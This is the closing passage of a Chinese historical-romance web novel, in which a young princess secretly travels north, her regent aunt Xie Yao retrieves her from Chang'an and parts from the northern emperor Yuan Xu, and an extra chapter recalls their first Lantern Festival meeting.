她郁闷不已,回程的马车上,沉默了一道。
小满拿她没办法,只好透出点口风,“阿姊今日不在府中,郡主可以去书房等她。”
谢思念俏皮一笑,挪到她身侧,娴熟地挽上她的胳膊,“我就知道小满姑姑待我最好了!”
小满轻轻点了下她的额头,露出一个意味深长的笑容,若不是谢杳授意,她怎敢轻易透露这些。
起初她不解,为何要将过去血淋淋的真相揭开,让年幼的少女去面对,却渐渐在年岁更迭中明白,有些东西是无法被掩盖的,也不能被抹去,理当像阿姊那般坦荡,总好过刻意隐瞒,因为任何人都没有资格,替谢思念去忘记。
时及昼食,谢思念借机避开府内的下人,翻窗进了姑姑的书房。
她舒了口气,缓解无端紧张的情绪,放轻脚步走到桌案旁。
书房内一片寂静,静的只剩下她的心跳声,谢思念将桌案上的东西一一拿起,又放回原处,这里没有她要找的东西。
她转身向书架走去,开始了新一轮的“搜查”。
找东西也是个极耗气力的活儿,不过一炷香的时间,她就有些乏了,倚靠在书架上小憩,心中腹诽:这样子若是让人逮了去,不就是个活脱脱的盗贼吗?
想到这儿,她立刻直起身,决定速战速决。
书架上的东西被她的动作一带,纷纷掉落下来,好在她眼疾手快,在东西落地之前稳稳接住,没有发出一丝声响。
谢思念洋洋得意,望向手中的物件,在看清那卷轴上面的字后,激动地双手微颤。
“是南北和约的契书。”
她打开卷轴,将那契词在心中无声地念了一遍又一遍,最终将眸光落在末端的帝印上。
“北祈帝皇,元序。”
姑姑曾说过,她是前朝永乐公主之女,那这位北祈皇帝想必就是……她的阿舅。
谢思念小心翼翼将卷轴恢复原样,放回书架,转而拿起刚刚掉落的其余物件——几封古老到泛黄的信。
她心跳若雷,直觉这几封信与她有着莫大的联系。
“女儿决意北上,亲手诛杀薛凌寒,以祭兄长、嫂嫂,还有无辜枉死之人的英灵……”
这第一封信,更像是留言的字条,信上的字迹她无比熟悉,是姑姑谢杳所出。
谢思念神色自若,这段过往她如数家珍,南境民间无不流传,大缙建朝也多半因了这个缘故。
“吾妹昭昭,睽违日久,盼妹一切安好……兄谢景,朔光十三年冬至。”
她眸光一顿,很快反应过来,这是父亲写给姑姑的信,朔光十三年,是姑姑初入长安的时候,彼时的姑姑不过比现在的她大了三岁,就孤身一人入长安为质,当真不易。
谢思念轻叹,她长在玉碧罗青的江南,生活在海晏河清的盛世,都是无数前人用血泪和性命铺就的,她这一国郡主,做得轻松,不免惭愧。
她坦然地看完,直至打开最后一封信。
信纸发皱,带着早已干涸的泪痕,那是她父亲留给姑姑的最后一封信,也是他在这世上最后的痕迹,字里行间,都是为人兄长者对妹妹的诚心祝愿。
谢思念神色微恸,各中情绪涌上心头,她遍走金陵,未曾发现谢府旧邸,那便只有一个可能,摄政王府就是谢氏的旧居,府内东厢落了锁的屋子,就是他父亲的居所。
她放好信件,快步出了书房。
谢思念用剑劈开钉死的窗牖,跃进屋内。
这陈设不是卧房,而是书房,她环视四周,目光所及之处不染一点尘灰,定是被人悉心打理过的。
置身其中,与他人言传终是不同,她一时有些无措,步子愈发沉重。
桌案前的地上,摆了许多箱笼,她一一掀开,箱中分别装满了金玉、首饰、钱帛,还有大红色的衣裙。
颜色虽是姑姑惯喜的,但她笃定,面前这衣裳与姑姑平日穿的不同。
“你想的没错,凤冠霞帔,是婚服。”
一个无比熟悉的声音在她身后响起。
谢思念愣怔地回头,望向来人。
“这其中便有你父亲留给我的嫁妆,我又添了一些,眼下所有的箱笼,就是我们二人留给你的嫁妆了。”
“姑姑为何不要?”谢思念的声音带着微不可察的颤抖。
谢杳迎上她的目光,“你自幼失恃失怙,这又是哥哥留下的唯一的东西,我自然不能私藏。”
“可这也是父亲留给姑姑的……仅存的东西了。”
谢杳轻轻摸了摸她的额头,恬然一笑,“给你就等同于给我,更何况你姑姑我,无心婚嫁,留着吃灰,岂不是白白浪费。”
谢思念心有疑惑,却没有问出口,姑姑的心思,她这个晚辈不好多问。
“小满姑姑诓我,她说姑姑不在府内的。”
她轻声呢喃,惹得谢杳忍不住笑出了声,“我回来取东西。”
临走前,她又嘱咐道:“时至年关,朝中事务繁忙,这几日我都要留在宫里,你老实待在府内,若是有事,让小满进宫找我。”
谢思念面上答应的认真,实则心中暗作他想,姑姑不在府内,倒是个绝佳的时机。
当夜,她早早歇下,在屋内暗中理好行囊,待子时一过,翻窗跳出卧房,三两步跃上屋檐,向城门的方向而去。
谢思念自小习武,唯有轻功学的认真,时至今日,早已练的炉火纯青。她身轻如燕,在檐上如履平地,借着夜色,让人丝毫无法察觉。
可人外有人,天外有天,她轻功虽好,经验却少,免不了走些弯路。
尾随在她身后的女子勾了勾唇,也不干涉她,只默默地跟着,看她如何施为。
谢思念叹了口气,这不,现世报如影随形。
她竟忘了,宵禁时分,城门紧闭,若无诏令,只得等到翌日清晨才能出城了。
“郡主这是要去哪儿?”
谢思念骇得一个激灵,脚下一滑,险些摔下屋顶,幸好小满出手及时,拉住了她。
“小满姑姑!”她极为不悦,甩开小满的手,“你跟踪我?”
小满佯装生气,“我料想你这小祖宗不会安分,必定借殿下入宫之机做些什么,却没想到,郡主竟如此胆大妄为。”
“事已至此,我也认了,左右打不过你。”谢思念说着低下了头。
“郡主这次又是为了什么呀?”
“我……我想去北境,亲眼看看父亲、母亲生活过的地方是什么样子,还想带些吃食回来,给姑姑尝尝鲜。”她的声音越来越低,最后哽咽到说不出话。
小满眼眶微红,沉默了良久,才缓
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缓开口:“就算如此,郡主也不该不告而别。殿下出宫寻不到你,她该有多着急,多自责。你孤身前往北境,路途遥远不说,这路上会遇到什么人、什么境况,都尚未可知,这是对自己的不负责任。”
谢思念泪流满面,“小满姑姑,我知错了。”
小满叹了口气,“就算要去,也不能走着去不是?你先随我回府,待明日我备好马车,陪你一道去北境。”
她猛地抬头,“当真?”
小满神情认真,点了点头。
其实她不止是为了谢思念,还有一部分,是她的私心。
在遇到谢杳之前,她的全部记忆都在长安,于她而言,长安也算是她的故乡,哪怕那个地方的回忆满是她幼年时的苦难,她也还是想要回去看一看。
翌日一早,小满打点好府内上下事宜,留了张字条在谢杳书房,而后带着谢思念坐上马车,出了城。
马车一路畅行无阻,从温暖如春的江南,驶入寒冷萧瑟的北境。
谢思念倚在窗边,沿路的风景在她眸中飞快闪过。
雾凇沆砀,江河都冻结成冰,万里霜天下,是她从未见过的景象,不同于江南的秀丽、风雅,北境粗旷、壮美,颇具江湖气,让人联想到仗剑天涯的侠客,如若可以,她也想成为那样的人。
嘉祐十年,除夕前夜,谢思念和小满行抵洛阳。
昔日的公主府改头换面,成了庆王府,为北祈皇帝的二弟元庆的居所。
她们不好暴露身份,只在府外远远观瞻,待到新岁正月初二,才离开了洛阳。
临行前,谢思念掬了一抔黄土,敛于妆匣内,悉心收好,如此,也便算作带父亲、母亲归于江南了。
***
谢杳出宫回府,发现谢思念不知所踪,勃然大怒。
待棠梨寻到书房中的留言字条,递给她时,谢杳的眼泪夺眶而出。
“殿下,郡主没事就好。”棠梨轻声安慰。
时隔多年,她已许久未曾看到谢杳流泪了,她的“小姐”如今成了一国的摄政王,肩上担负着南境的百姓、国朝的兴亡,她强大可靠,像一棵深深扎根的参天大树,却让人忘了,她也有力不能及的无奈和委屈。
“棠梨,我刚刚还在想,若是阿念真的出了什么事,哥哥会怪我的吧?”
棠梨用力摇头,强忍着泪水扬起笑意,“他不会,一定不会。”
她的语气中带着万分的笃定,因为她曾亲眼见过,谢景对妹妹的爱重。
谢杳深吸了一口气,将情绪缓和,渐渐恢复了理智。
她抬眸望向棠梨,“随我北上。”
“殿下不可,你的身份若是暴露在北境,定会引起轩然大波。”
“隐藏我的行踪,应当不是什么难事。”
棠梨自知劝不动她,只好点头相应,不再挣扎。
谢杳将密信传至帝后宫中,言明原委,又对外称病,拒不见客。
恰逢新岁年节休沐,朝中无事,她正好借此东风,神不知鬼不觉地北上,将谢思念“捉拿”回府。
“摄政王出府一事,任何人不得走漏风声,违者,逐出南境。”
棠梨神情严肃,向府内下人交代道。
夜幕低垂,棠梨提灯引路,同谢杳一道,从后门出了府。
***
马车日夜兼程,终于赶在上元前夕,抵达了长安郊外。
漫天飞雪相迎,谢杳掀开窗帷,任由风雪打在身上,转头饮了一大口酒,丝毫不觉得冷。
窗外,长安的景色匆匆掠过,牵起她尘封的记忆。
桃花醉,雪满途,千秋万代,山河不改,变了的,只有人和事。
这长安道,终是一回来,一回老。
34. 只见长安不见春
北祈,昭宁十年,上元节当日,长安沉浸在浓浓的年节氛围中。
南北议和后,云夏太平已久,百姓们乐不思蜀,就连当今圣上前几日下令封锁城门,禁止出城,都没能让他们停下欢庆的脚步。
坊间戏言:长安繁华,景色换着看都看不完,再封他个两三日也无妨。
棠梨警惕地打量着周围,确认无人跟随,才绕至红尘楼后门,快步进了楼。
“殿下,尚未发现郡主的踪迹,她们会不会没来得及入城?”
谢杳轻轻摇头:“洛阳至长安不过三百里,算时间,应是早就到了。”
“人没找到不说,还被困在了城里,这可如何是好。”棠梨面露难色。
“既来之则安之。”谢杳淡淡说道。
棠梨嘴唇翕动,终是没有开口,只心中腹诽:北祈皇帝的心思简直昭然若揭,否则怎会如此巧合,他们一进城,他便下令封锁城门,不许人出城,这分明就是要困住殿下。
谢杳忽地勾了勾唇,指向窗外:“楼内事务繁忙,你去帮帮月见阿姊。”
“是,殿下。”棠梨会心一笑,“我这便去帮帮她。”
月见行色匆匆,一路穿过东市的街巷,最终,进了谢府旧宅。
棠梨尾随着她,在行到门前时脚步一顿,这里的一砖一瓦、一草一木都是那么熟悉,让人恍如隔世。
她深吸了一口气,径直走入府中。
“棠……棠梨姑姑!”谢思念见来人,失声喊道。
棠梨神情严肃,目光掠过面前的三人,与月见对视:“月见阿姊,你还要瞒着殿下到何时?”
月见不答,坦然以对。她早知瞒不住,尽力瞒着,不过是为了拖延些时间,好助那位一臂之力。
“还不同我回去?”棠梨瞋目望向谢思念,“郡主无故离府,可知殿下有多着急?”
“我……”
“还有你!”她声色俱厉,“小满,你真是让我刮目相看,郡主是何等身份,你竟敢独自一人带她来北境,这可是北祈皇都,若有闪失,你担的起吗?殿下往日待你不薄,你也知晓殿下将郡主看得有多重,你这么做,对得起殿下吗?”
小满垂眸,哽咽着应道:“都是我的错,我自会向阿姊领罚。”
“我今日也算长见识了,人各有志,你们好自为之,有什么话自去同殿下说吧。”
言罢,棠梨拂袖而去。
谢杳倚在红尘楼二楼的窗边,望着一道回来,神色各异的四人,忍不住笑出了声。
“殿下,人找到了。”棠梨沉声禀报。
谢杳轻叹:“怎么气成这样?”
“姑姑,我知错了。”谢思念泪眼汪汪,走上前拉着谢杳的手臂晃了晃,撒娇道。
“这回可了却心愿了?”谢杳玩味地望向她。
谢思念神情认真,郑重地点了点头:“我去了洛阳,掬了一抔土,待我们归乡,父亲、母亲也算魂归故土了。”
谢杳移开目光,掩藏起心中情绪:“阿念有心了。”
“阿姊恕罪,小满但凭阿姊责罚。”小满躬身请罪。
谢杳不置可否,对着月见说道:“放出消息,就说,汴州来了位顾氏女君,付了红尘楼一日的开销,今日红尘楼不对外迎客。”
月见会意,面露喜色:“是,殿下。”
谢杳拄着下巴,倚在桌案,缓缓闭上眼:“本王乏了,都退下吧。”
“上元关张”的字牌一摆,坊间流言四起,有几个食客不死心,叩门相问,问的人多了,也就传出了个因由:汴州来的顾氏女君出手阔绰,付了红尘楼一日的开销,今日的红尘楼自是只为她所用。
人们只顾慨叹,却忘了,如今汴州何来顾氏?顾氏一族的最后一支早已于去年南迁。
谢杳轻笑,时间真是个可怖的东西,让往事都做了土,她怅惘地摇了摇头,饮了一大口桃花醉。
暮色渐沉,棠梨犹豫着走进雅间,忍不住问道:“殿下,北祈帝如此大费周章,当真只是为了约您一见吗?”
谢杳尚未开口,就听见月见的声音从门外传来:“梨丫头,怎的你年岁渐长,胆子却愈发小了呢?今上若真想扣住殿下,只需让金吾卫逐街搜寻,不出三日,定能找到殿下,何必只是封锁城门,许进不许出呢?他不过就是……”
“不过就是在试探本王的态度,如若本王不愿,他也不会强求,早晚会打开城门,任我们往来。所以棠梨,你冤枉北祈帝王了。”
谢杳这话虽是对棠梨说的,但目光却一直注视着月见。
她话音刚落,棠梨就看到月见猛地跪下,施礼请罪:“月见知错,请殿下责罚。”
谢杳没搭话,转头看向窗外——天色阑珊,街头巷尾的灯盏盏亮起,光芒如昼,游人如织,多么热闹繁华的十里长安景。
她恬然一笑,淡淡说道:“阿姊,姑姑已离去多年,这些年你孤身一人在长安经营红尘楼实属不易,难道就没有想过寻一良人,安度余生吗?”
言罢,谢杳转过头,目光落在月见那张神情复杂的脸上,坦荡地问道:“可是……子启?”
月见无可奈何,只得如实点头,这藏了多年的秘密,如今被人点破,也算是一种解脱。
她如释重负地望向眼前的女子,心中感慨万千:世事变迁,眼前之人早已不再是多年前那个天真狡黠的少女,如今的谢杳雍容华贵,眉目间已有帝王之相。
谢杳走上前,将月见扶起。
“殿下……”月见本想再解释些什么,话到嘴边又不知从何说起,终是只道:“月见,任凭殿下处置。”
谢杳微一抬手,待棠梨走到她身侧站定,缓缓说道:“今日我以南凉摄政王之名除你姓氏,从今往后,你与我谢氏一族再无干系,本王还你自由之身。然红尘楼是本王姑姑的心血,不得假手于人,故你不能再任楼主之位,也不能再留于此楼,阿姊可有异议?”
“月见叩谢殿下,叩谢师父救命之恩、养育之恩。”言罢,她起身离去,却在门口被棠梨拦下,原是谢杳吩咐,要将她的庚帖和地契交予她。
月见眸中隐有泪花,她拱手向屋内的谢杳深深鞠了一躬:“阿杳,珍重!”
谢杳颔首,扬声道:“阿姊,珍重!”
廊间人去,屋内恢复了寂静,无人知晓的角落,谢杳面露悲戚,传出一声叹息。
长安东市一片喧嚣,挤满了人。
人群中,一个白衣胜雪的男子快步流星,衣袂翻飞,引人侧目。那男子却在快行至红尘楼时,忽然放慢了脚步。
月见走出门,恰好望见他,径直迎上前去:“陛……公子。”
“此番多谢,谢礼中郎将会拿予你。”
言罢,他便要离开,却被月见拦下。
“你还有何事?”
“月见不要谢礼,只求您允我入宫,伴您左右。”
“莫要再执着,误了年华。”
他使了个眼色,中郎将极快会意,走上前来:“月见阿姊,请吧。”
“嘎吱——”
街上的游人循声望去——红尘楼二楼正中间的那扇窗子被人彻底推开,一个女子探出头来,她一袭红衣,灿若春华,在流光溢彩的映衬下格外惹眼。
只见那女子的目光囫囵扫过楼下的人群,最终停在那个白衣男子的身上。
谢杳粲然一笑,向他点了点头。
北祈帝王就这样当着他治下子民的面,小跑着进了楼内。
“摄政王,好久不见。”
元序凝眸望着面前的人,不舍将目光移开。
谢杳笑意更盛,迎上他的目光,没有出声。倒不是许久未见有所生分,而是有太多的话想说,一时又不知从何说起。
那便从眼下开始说起吧,她如是想到,毕竟难得一见,她可不能白白浪费。
“怎么不答应她?至少也能多个心腹。”
元序眉头微蹙,似是不满她将时间浪费在不相干的人身上,但还是耐心解释道:“孤又不心悦她,何必给她无谓的希望,更何况,她能将你的行踪轻易告知于孤,来日便也能告知别人,这样的人,孤绝不会留。”
谢杳打趣道:“那陛下怎么还留阿策在身边呢?”
“身为金吾卫中郎将,尽忠职守,何错之有?他朝摄政王都进了皇都,理应秉公相告。”元序轻叹,“不过他到底还是向着你的,要不是孤威逼利诱,阿策还不肯仔细道来呢。”
二人相视一笑,乐得开怀。
“时至此刻,我还不知,昭昭究竟缘何而来?”
谢杳叹了口气:“还不是为那无法无天的小丫头而来,她惦记着北境好些年了,终于让她逮到了机会,偷溜出来。”
元序忍俊不禁:“倒是跟你这姑姑一个样子。”
“哪有?”
“你忘了?朔光十二年上元节。”
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回忆渐渐浮现在她脑海,那年她与哥哥偷偷北上,到长安来寻姑姑,也是上元节,在红尘楼。
她的眸中闪过一丝悲伤,被元序看在眼里,他话锋一转:“既然来了,还不让她速速来拜见她的阿舅。”
谢杳展颜一笑,唤来谢思念。
“阿念,这是你阿舅。”
谢思念直勾勾地盯着元序,心中暗叹:她阿舅这容貌,简直称得上是冠绝天下,云夏容颜绝佳的两位就这么一道站在她面前,实在让她挪不开眼。
“阿舅。”她乖巧行礼,一改往日跳脱模样。
元序笑着点头:“我同你姑姑还有话要讲,你且去吧。”
谢思念愣怔地点了点头,一步三回头地退出了雅间。
谢杳瞥了眼窗外,又将目光移回元序身上。
元序知她要问什么,抢先开口:“今夜我就在这儿,陪昭昭促膝长谈到天明。”
“小心明日言官弹劾。”谢杳出言相劝。
“无妨,就让孤任性这一回吧。”
他们举杯共饮,赏月闲谈,将时辰抛诸脑后。
三更天将过,谢杳实在支撑不住,倚在桌案上沉沉睡去。
元序笑着起身,轻轻将斗篷盖在她身上,伸手理了理她额间散下来的碎发,安静地凝望着她,眸光挚诚,溢满温柔。
他一夜未眠,无奈夜色太短,东方欲晓,终将分别。
元序不舍叫醒她,只因他贪心地想将她多留一刻,哪怕多一刻都好。
谢杳眼睫微颤,缓缓睁开眼,素白色的孤孑身影映入她眸中,离别的感伤也随之涌上心头。
“子启。”她轻声唤他。
元序闻声回头,眸中的泪光渐渐隐去,眉目舒展开来:“昭昭醒了?”
谢杳勉强露出一个笑容,点头回应。
用完朝食,便到了她们一行启程的时刻。
临行前,谢杳将小满单独唤至雅间,递给她一块令牌。
小满接下令牌,愣怔地望向她,眼泪夺眶而出:“阿姊,我……”
谢杳温柔地抬手,抹去她脸颊上的泪水:“阿姊知晓,故土难离,金陵再好,也无法替代,所以不怪你。你生在长安,长在长安,理当落叶归根,可阿姊又怕你孤身一人,无所倚仗,眼下好了,这红尘楼,阿姊便托付给你了。”
小满跪地以请:“小满受之有愧,当不起这个楼主,请阿姊收回成命。”
谢杳扶起她,柔声细语道:“谢氏小满,你当得起。”
元序轻声叩门,缓步走进屋内:“这红尘楼乃是姑姑的心血,昭昭倒也大方。”
谢杳笑着瞥了他一眼:“此后还要劳烦陛下提携。”
元序扬唇:“自然。”
“红尘楼不足重,重在掌楼之人,所行之道。”谢杳嘱咐道。
小满郑重颔首:“谢小满定不负阿姊所托。”
谢杳转而望向元序:“走吧,送本王出城。”
“阿姊。”段策不舍地望向她。
“我本还在想,怎会如此轻易暴露行踪,幸得子启直言相告,才知还有你这金吾卫中郎将的一份功劳。”谢杳打趣道。
段策忍俊不禁,心绪也好了几分。
“阿姊,好生珍重,待我得闲时,定归乡看你。”
谢杳莞尔:“好,阿姊等着。”
待二人叙完话,元序才走上前,向谢杳道别:“昭昭,莫要难过,倘若他们能看到,也定会为你感到欣慰的。”
谢杳笑中带泪,时隔多年,她的心还是会因他而动。
元序张开双臂,看着她一点一点走近,将她紧紧拥住,抱了个满怀。
他轻声开口:“昭昭,你不是一个人,我会隔山河相守,携盛世相报,邀明月相望,借清风相拥,永远陪着你。”
“谢谢你,子启哥哥。”
熟悉的话语在他耳边响起,一如初见。
元序驻足良久,直至马车远去,消失在皑皑世间。
天空又飘起了雪,翩然而至,落了一地霜华。
谢杳走后,徒留他一人的长安城,再也不会有似过往年月那般明媚的春天。
自此,只见长安,不见春。
***
南凉,嘉祐十一年雨水,帝谢弈安退位,居太上皇,其女摄政王谢杳继位,改元暄启,成为云夏史上第一位女帝。
——正文完——
35. 昭宁暄启
大晟,朔光十二年,上元节,天阴沉沉的,似是要下雪,适才黄昏,东市便已人流熙攘,丝毫不受这天气影响。
一辆马车疾驰而过,小心地避开汹涌的人潮,拐进一个偏僻的小巷,最终停在红尘楼的后门。
自马车上下来一位身着白衣的少年,他身后还跟着一个岁及总角的孩童,二人一前一后,提着食盒,快步进了楼内。
“殿下,我们为何不走正门?”苏木不解,轻声询问。
元序板着脸,侧目瞥了他一眼:“刚交代的都忘了?”
苏木大窘,顿了顿,复又开口:“公子,我瞧着这楼内美酒佳肴一应俱全,我们这礼,岂不多余?”
元序虽觉聒噪,却也没有让他噤声,苏木年纪尚小,正是什么都好奇,追问不休的时候。
他耐着性子,随口应道:“姑姑日日在楼内,换着样吃,都吃遍了,这礼正好让她尝尝鲜。”
苏木觉得他这话言之有理,用力点了点头,以示赞同。
元序忍俊不禁,直到月见来迎他们时,脸上还挂着笑。
月见望着笑逐颜开的元序,愣怔了片刻,才缓缓开口:“二位请随我来。”
她引着他们走上二楼雅间,脚步莫名放慢了很多。
苏木跟在后面,偷偷打量着月见,心中腹诽:这位阿姊莫不是看上殿下了吧?
“子启来了?”
一个清冷的声音幽幽传来,打断了他的思绪。
苏木迫不及待地向雅间内望去——一个女子提着酒壶倚在窗边,她一袭大红色衣裙,明媚似火,面容却十分清秀,与这颜色不甚相衬。
“姑姑,上元喜乐,新岁康宁。许久未见,近来可好?”
元序施完礼,微一抬手,苏木会意,上前一步,将食盒递给他,余光瞥向窗边的女子,他与殿下口中的这位姑姑素不相识,却没来由地觉得亲近。
谢弈月察觉到他的目光,抬眸望向元序身侧:“这是东宫新擢选出的侍卫?”
元序颔首,眸中闪过一丝异样,又极快地恢复如常。
“姑姑,看在孤排除万难,跋山涉水,好不容易出宫来见您一面的份上,您就向我透出点口风吧。”
谢弈月避重就轻:“殿下无事可千万别常来,免得牵连到我,暴露我的身份。”
“姑姑!”元序故作可怜地眨了眨眼。
“何事?”谢弈月玩心大发,忍不住摆起了做长辈的架子。
元序分毫不让:“姑姑为老不尊。”
“罢了,不逗你了。”谢弈月露出一个意味深长的笑容,“今岁年节我未归乡,她的近况,我确实不知。”
元序不答,垂眸思量,她的前半句话所言非虚,不过这后半句,有待斟酌。昭昭素来与姑姑亲近,若是传了信,不可能不提及近况,可也不会不闻不问,难道……
“姑姑,昭昭何时能来长安?”这话刚一出口,他便有些后悔。
谢弈月闻言一笑:“这恐怕要问你父皇。”
“昭昭若是来长安,便不得不入宫了。”元序口中喃喃。
谢弈月望着他那纠结的模样,不免有些感慨,元序的性子与元朔截然相反,倒是更像太祖,总是在为自己着想时,也为别人处处思虑妥帖,仁善正直,心怀天下。
她转念一想,又生出几分无奈,谢氏与元氏的缘分还真是纠缠不休,自她这一辈到后辈无一例外,也不知是良缘还是孽缘,然不论如何,她都不该插手,后辈的路,还需后辈自己走。
她咬牙开口,下了逐客令:“时辰不早了,快些回宫吧,若得了昭昭的消息,我再传信给你。”
元序心有所疑,隐而不宣,顺着她的话道:“那便多谢姑姑了。”
马车驶出东市不远,元序忽然开口,命苏木掉头折返。
他有一个大胆的猜想:谢弈月往日从不会催促他回宫,今日却一反常态,恐怕是有贵客来了红尘楼,且极有可能,就在楼内。
“停在偏巷等孤,孤去去就回。”
言罢,他极快地跃下马车,向红尘楼走去。
***
“后来的情形你都知晓。”元序的声音戛然而止。
谢杳的思绪从回忆中渐渐抽离,轻声感叹:“也不知该说你执着,还是该说你……傻。”
元序眉头微蹙:“昭昭这是什么话?”
“万一你猜错了,我不在楼内,岂不是白跑一趟,那日还下了雪,也不怕冻着。”
“可若我没有去而复返,那岂不是就要错过了?”元序神情认真,反驳她的话,“所以我很庆幸,我赌对了。”
谢杳神色微动,笑容中带着一丝苦涩:“所以这一次,你又故技重施,引我相见。”
元序摇头,坦荡应道:“算不得故技重施,毕竟上次有赌的成分在,这次,是切切实实地知晓你就在城内。”
谢杳白了他一眼:“还不是有人通风报信。”
元序笑而不语,目光移向窗外。
谢杳随着他的目光望过去,满街的火树银花,令人应接不暇。
转眼间,已是二十载春秋,两朝人事更迭,今时不同往日,他治下的北祈皇都不输前朝,民康物阜
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,一切都在变得越来越好。
“昭宁……十年?”谢杳小声嘀咕,计算着北祈建朝的年头。
“比南凉晚了一年。”元序轻声提醒。
谢杳狡黠一笑:“陛下这年号颇有深意啊。”
元序点了点头,无声默认。
“上元佳节,只顾闲谈忒不应景了些。”谢杳话锋一转。
元序微微歪头,笑着望向她,等着听她想到的新点子。
谢杳粲然一笑,眸中如星河闪烁,泛着光:“猜灯谜,对对子,二选一如何?”
“灯谜年年猜,无甚新意。”
“那便对对子喽?”
元序面露难色:“我自认没有诗才,怕是对不出昭昭的对子。”
谢杳拉着他走到桌案旁坐下,将笔递到他手中:“那还不简单,你先出上联,我来对便是。”
元序反而不应,誓要磨练自己一番,推她先写。
谢杳灵光乍现,提笔洋洋洒洒一挥而就:
长风倾万里,飞雪落千秋,日生月歇霜满楼,山河依旧。
“如何?”
元序拍手称赞,却忍不住犯愁,自己该如何对才好。
谢杳观他犹豫不决,也不催促,就在一旁默默陪着,然后……然后她就倚着桌案进入了梦乡。
翌日,她倒也忘了此间事未了,坐上马车才恍然忆起,不免有些遗憾。
恰逢途中休憩,谢思念匆忙跃下马车,提着个灯笼,小跑到她面前:“姑姑,这灯笼应是阿舅要给你的,却不知怎的装错了马车,你看,这上面有字。”
谢杳微愣,接过她手中的灯笼,凑近定睛一看,灯笼上确实有字,更准确地说,是有一首诗,字迹隽永,一气呵成:
长风倾万里,飞雪落千秋,日生月歇霜满楼,山河依旧。
朱颜犹未改,青丝却白头,凭栏岁暮天寒水,请君长留。
“姑姑。”谢思念轻轻晃了晃她的手臂,面露担忧,“你怎么了?”
谢杳敛了情绪,莞尔道:“姑姑没事。”
她回望长安的方向,在心中郑重的与他道别,此后,举目见日,不见长安,不见君。
***
南凉,嘉祐十一年雨水,谢杳继位,改元暄启。
南凉新帝登基的消息传至长安,北境朝野无不慨叹,今岁上元,南凉摄政王入皇都的惊闻依稀还在眼前,而今却已成了一代女帝,当真是因缘际会。
昭宁、暄启年间,云夏大地政通人和,四海升平。
南北盛世,延续百年,泽被千秋,福及万代。